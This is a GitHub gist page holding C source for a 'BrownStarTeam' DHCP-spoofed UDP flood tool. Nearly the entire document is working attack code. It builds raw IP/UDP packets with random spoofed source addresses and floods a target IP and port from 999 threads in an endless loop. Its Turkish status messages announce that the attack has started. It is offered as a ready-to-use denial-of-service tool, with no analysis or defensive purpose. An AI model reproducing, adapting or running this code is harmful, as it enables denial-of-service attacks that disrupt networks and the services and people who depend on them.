Created
April 9, 2018 07:12
-
-
Save avelardi/ce72d0d89c2dc8762bff5ac85eb9d1f2 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
///////////BrownStarTeam/////////// | |
#include <time.h> | |
#include <pthread.h> | |
#include <assert.h> | |
#include <unistd.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/socket.h> | |
#include <netinet/ip.h> | |
#include <netinet/udp.h> | |
#include <arpa/inet.h> | |
#define MAX_PACKET_SIZE 8192 | |
#define PHI 0x9e3779b9 | |
#define LINUX system | |
static unsigned long int Q[4096], c = 362436; | |
static unsigned int floodport; | |
struct list | |
{ | |
struct sockaddr_in data; | |
struct list *next; | |
struct list *prev; | |
}; | |
struct list *head; | |
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; }; | |
unsigned short csum (unsigned short *buf, int nwords) | |
{ | |
unsigned long sum; | |
for (sum = 0; nwords > 0; nwords--) | |
sum += *buf++; | |
sum = (sum >> 16) + (sum & 0xffff); | |
sum += (sum >> 16); | |
return (unsigned short)(~sum); | |
} | |
void init_rand(unsigned long int x) | |
{ | |
int i; | |
Q[0] = x; | |
Q[1] = x + PHI; | |
Q[2] = x + PHI + PHI; | |
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } | |
} | |
unsigned long int rand_cmwc(void) | |
{ | |
unsigned long long int t, a = 18782LL; | |
static unsigned long int i = 4095; | |
unsigned long int x, r = 0xfffffffe; | |
i = (i + 1) & 4095; | |
t = a * Q[i] + c; | |
c = (t >> 32); | |
x = t + c; | |
if (x < c) { | |
x++; | |
c++; | |
} | |
return (Q[i] = r - x); | |
} | |
void setup_ip_header(struct iphdr *iph) | |
{ | |
iph->ihl = 5; | |
iph->version = 4; | |
iph->tos = rand(); | |
iph->id = htons(rand()%65535); | |
iph->frag_off = 0; | |
iph->ttl = 255; | |
iph->protocol = 17; | |
iph->check = 0; | |
iph->saddr; | |
} | |
void *flood(void *par1) | |
{ | |
struct thread_data *td = (struct thread_data *)par1; | |
char datagram[MAX_PACKET_SIZE]; | |
struct iphdr *iph = (struct iphdr *)datagram; | |
struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr); | |
struct sockaddr_in sin = td->sin; | |
struct list *list_node = td->list_node; | |
int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); | |
if(s == -1) | |
{ | |
fprintf(stderr, "Can't open raw socket.\n"); | |
exit(-1); | |
} | |
memset(datagram, 0, MAX_PACKET_SIZE); | |
setup_ip_header(iph); | |
udph->check = 0; | |
udph->dest = htons(floodport); | |
int size; | |
size = rand()%20+1; | |
init_rand(time(NULL)); | |
memcpy((void *)udph + sizeof(struct udphdr), "", size); | |
udph->len=htons(sizeof(struct udphdr) + size); | |
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + size; | |
iph->daddr = sin.sin_addr.s_addr; | |
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); | |
int tmp = 1; | |
const int *val = &tmp; | |
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) == -1) | |
{ | |
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); | |
exit(-1); | |
} | |
for(;;) | |
{ | |
iph->saddr = (unsigned long) rand_cmwc(); | |
udph->source = htons(68); | |
iph->id = rand_cmwc(); | |
//check | |
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); | |
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data)); | |
} | |
} | |
#define KGREEN "\x1b[92m" | |
#define RESET "\033[0m" | |
int main(int argc, char *argv[ ]) | |
{ | |
printf(KGREEN "#BRS DHCP Clients Spooffed Script | BrownStarTeam'\n" RESET); | |
if(argc < 3 || argc > 3){ | |
fprintf(stdout, "Usage: %s <IP> <Port>\n", argv[0]); | |
exit(-1); | |
} | |
fprintf(stdout, "Soketler Oluşturuluyor...\n"); | |
int i; | |
int num_threads = 999; | |
floodport = atoi(argv[2]); | |
head = (struct list *)malloc(sizeof(struct list)); | |
bzero(&head->data, sizeof(head->data)); | |
head->data.sin_addr.s_addr=inet_addr("192.168.3.100"); | |
head->data.sin_port=floodport; | |
head->next = head; | |
head->prev = head; | |
struct list *current = head->next; | |
pthread_t thread[num_threads]; | |
struct sockaddr_in sin; | |
sin.sin_family = AF_INET; | |
sin.sin_port = htons(floodport); | |
sin.sin_addr.s_addr = inet_addr(argv[1]); | |
struct thread_data td[num_threads]; | |
for(i = 0;i<num_threads;i++) | |
{ | |
td[i].thread_id = i; | |
td[i].sin= sin; | |
td[i].list_node = current; | |
pthread_create( &thread[i], NULL, &flood, (void *) &td[i]); | |
} | |
fprintf(stdout, "Saldiri Başladi...\n"); | |
sleep(999); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment